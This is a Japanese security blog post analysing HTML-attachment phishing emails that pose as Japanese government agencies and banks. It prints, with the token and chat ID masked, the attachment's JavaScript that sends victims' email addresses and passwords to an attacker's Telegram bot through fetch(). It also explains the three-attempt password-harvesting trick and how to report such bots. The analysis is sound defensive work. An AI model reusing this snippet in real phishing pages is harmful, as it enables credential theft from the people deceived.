デジタル庁などを騙るHTML添付型フィッシング - コーヒーサーバは香炉である

迷惑メールフォルダを見ていると、最近、「日本年金機構」「国税庁」「デジタル庁」、あるいは民間の銀行を騙るフィッシングメールが届く。フィッシングサイトのURLに誘導するのではなく、添付したHTMLファイルを開かせるタイプが多いようだ。2026年6月に急増したのだが、これを軽く調べてみた。

どんなものなのか

このタイプのフィッシングメールは、件名も文面もさまざまだが、共通点はこちらだ。

メールに “公式通知_XXXXXX.html” といった名前のHTMLが添付されている
「給付の際にトラブルがあった」「本人確認手続きが必要」「不審なログインを検知した」「重要書類の送付先を確認したい」などの用件が書かれている

HTMLを覗いてみよう

こういったメールに添付されている “公式通知_XXXXXX.html” のような名前のHTMLファイルを、安全確保の上、覗いてみた。

外観

まず基本構成。

ふつうのフィッシングサイトのように、フォームがあって、

メールアドレス入力欄
パスワード入力欄
ボタン

が配置されている。

そして、なぜか、こんな注意書きがある。

この通知は日本政府・金融機関の公式様式を厳密に再現しています

……なんだか間抜けである。生成AIに「日本政府・金融機関の公式様式を再現したフォームを生成してください」とでも依頼したのだろうか? そして、フッタに書かれている

本通知は政府グレードの暗号化で保護されています。

というテキストもなかなか味わい深い。

挙動

どんな挙動をするようにできているのか、スクリプトを読んでみる。
ユーザが「パスワード」を入れて送信ボタンを押すと、Telegram APIをGETリクエストし、攻撃者の用意したTelegramチャットにメッセージが届くという内容になっている。送信部分はこうなっている (一部、伏せ字にしてある)。


    const token = "XXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    const chat = "XXXXXXXXXX";
    const text = "🔥 NEW JP HARVEST (THEME: nta)%0AEmail: " + encodeURIComponent(email) + 
                 "%0APassword: " + encodeURIComponent(pass) +
                 "%0AAttempt: " + attempts + "/3" +
                 "%0AUA: " + encodeURIComponent(navigator.userAgent) +
                 "%0ATime: " + encodeURIComponent(new Date().toISOString()) +
                 "%0ARef: JP-XXXXXXXX-XXXX";
    
    fetch("https://api.telegram.org/bot" + token + "/sendMessage?chat_id=" + chat + "&text=" + text, {method:"GET"});

非常にシンプルだ。Telegram APIのトークンはソースにベタ書き。メッセージは

🔥 NEW JP HARVEST

という文字列に続き、

メールアドレス
入力された「パスワード」
何回目の「パスワード」入力か
ユーザエージェント
タイムスタンプ
埋め込まれた識別番号

をつなげたものだ。
そして、ブラウザ上には、「パスワードが正しくありません。もう一度お試しください。」というエラーメッセージ (のようなもの) が表示される。
そこでまた「パスワード」を入れてボタンを押すと、また同じことが起こる。
三度目にユーザがパスワードを入れると、また攻撃者のTelegramにメールアドレスとパスワードのペアが飛ぶのだが、今回は、ユーザはデジタル庁や銀行などの正規のトップページに飛ばされる。
ユーザは「お、今度こそログインに成功した……けど、何すればいいんだっけ? まあいいか」と思うかもしれない。

冷静に観察してみると馬鹿馬鹿しい手口に見えるのだが、日々の書類仕事や手続きラッシュに圧倒されている時、メールフィルタをすり抜けてこのメールが着弾したら、ついうっかり引っかかってしまうのかもしれない。

この手口はそう新しいものでもなく、2024年の時点で、同様の「メールにHTMLファイルを添付」「Telegramで送信」という手口が観測されている。

Attackers still using SHTML files to target recipients with phishing (Broadcom)

なぜこうなっているのか

攻撃者側としては、本気でデジタル庁のログイン情報を求めているというより、パスワードの使い回しをしている人をターゲットとして、「メールアドレス」と「その人がよくパスワードとして使っているパスワード3パターン」のセットを取得することかもしれない。これを使って、あらゆるサービスへのログインを試せば、どこかにログインできる可能性がある。パスワードの使い回しはやめよう。

添付ファイル + Telegram APIという構成にも、思惑があるのだろう。

よくあるフィッシングでは、攻撃者は自分でサイトを用意する。独自ドメインの場合もあれば、クラウドサービスを利用することもある。そういったフィッシングサイトの寿命は短い。検知され、あるいは通報され、ユーザがブラウザで開こうとしても遮断される。あるいは、テイクダウンされてサイト自体が消滅する。試しに、5分前に迷惑メールフォルダに届いたばかりのフィッシングメールに含まれるURLをVirusTotalに投げてみると、すでにあちこちのセキュリティベンダーが “Phishing” 判定していたりする。

しかし、HTML添付+Telegramの場合はどうだろう。メール自体がブロックされたり迷惑メールフォルダ行きになったりする確率は、リンクをクリックさせるタイプと変わりないだろう。しかし、大きな違いは攻撃者はフィッシングサイトを用意する必要がないという点だ。フィッシングサイトが遮断され、あるいはテイクダウンされたことによってフィッシングキャンペーンが台無しになることはない。Telegram botが生き残っていればいい。

Telegram botも、決して野放しではない。運営側も、Telegram botが悪用されていることをしっかり把握していて、通報窓口も存在する。通報用の @notoscam というアカウントがあるので、通報するとしたらここだ。しかし、通報一発でブロックあるいはテイクダウンに追い込めるフィッシングサイトとは違い、ちょっと厄介そうだ。

なにせ、こちらは受け取り専門。フィッシングサイトのような「現物」コンテンツが存在するわけではないし、Telegramで他のユーザに向けてフィッシングメッセージが送信されたわけでもない。あくまで「Telegram bot経由で、特定のチャンネルに、メールアドレスとパスワードのペアのようなものが送られてくる」だけだ。これだけでは証拠としてちょっと弱い。

(そして、実際にこれだけでBANすることができるとしたら、他人の運営しているbotを「フィッシングの受け取り」としてでっちあげて陥れることが可能になってしまう。)

こういうのがBANされるとしたら、Telegramの通報用アカウント @notoscam に大勢が通報するとか、複数の被害者が実際に送信してしまうとか、そういった「単独では弱い証拠」が多数集まったときだろう。

どんなものなのか

HTMLを覗いてみよう

外観

挙動

なぜこうなっているのか

関連する記事